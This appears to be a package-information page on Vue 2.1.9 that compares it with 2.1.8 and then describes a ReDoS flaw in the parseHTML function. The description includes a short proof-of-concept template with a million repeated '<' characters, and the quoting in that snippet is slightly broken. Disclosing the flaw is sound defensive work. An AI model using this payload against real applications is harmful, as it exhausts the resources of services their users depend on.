Vue 2.1.9 is a minor release following version 2.1.8 of the popular JavaScript framework for building user interfaces. Both versions share the same core philosophy of providing a reactive, component-oriented view layer designed for modern web development. Examining the package data, the primary differences lie in the release date, with 2.1.9 being published in January 2017 and 2.1.8 in December 2016, suggesting bug fixes and incremental improvements are the main motivations for the version bump.
The core dependencies remain identical between the two versions, including essential tools like rollup for bundling, webpack for module management, eslint for code linting, and various testing frameworks such as karma and jasmine. Developers already familiar with Vue 2.1.8 can expect a seamless transition to 2.1.9. Existing projects using Vue should upgrade to benefit from potential bug fixes, performance enhancements, or minor feature additions implemented in the newer release. Since the devDependencies listed detail the development environment, focusing on testing, linting, and builds, developers using these to contribute to Vue itself will also notice this small version upgrades. Notably, the continued presence of tools like weex-js-runtime indicates ongoing support for cross-platform development using Vue within the Weex ecosystem. The core functionality related to building web UIs remains consistent, reinforcing Vue's commitment to stability and a smooth developer experience.
All the vulnerabilities related to the version 2.1.9 of the package
ReDoS vulnerability in vue package that is exploitable through inefficient regex evaluation in the parseHTML function
The ReDoS can be exploited through the parseHTML function in the html-parser.ts file. This flaw allows attackers to slow down the application by providing specially crafted input that causes inefficient processing of regular expressions, leading to excessive resource consumption.
To demonstrate this vulnerability, here's an example. In a Vue client-side application, create a new Vue instance with a template string that includes a <script> tag but closes it incorrectly with something like </textarea>.
new Vue({
el: '#app',
template: '
<div>
Hello, world!
<script>${'<'.repeat(1000000)}</textarea>
</div>'
});
Next, set up a basic HTML page (e.g., index.html) to load this JavaScript and mount the Vue instance:
<!DOCTYPE html>
<html>
<head>
<title>My first Vue app</title>
</head>
<body>
<div id=\"app\">Loading...</div>
</body>
</html>
When you visit the app in your browser at http://localhost:3000, you'll notice that the time taken to parse and mount the Vue application increases significantly due to the ReDoS vulnerability, demonstrating how the flaw can affect performance.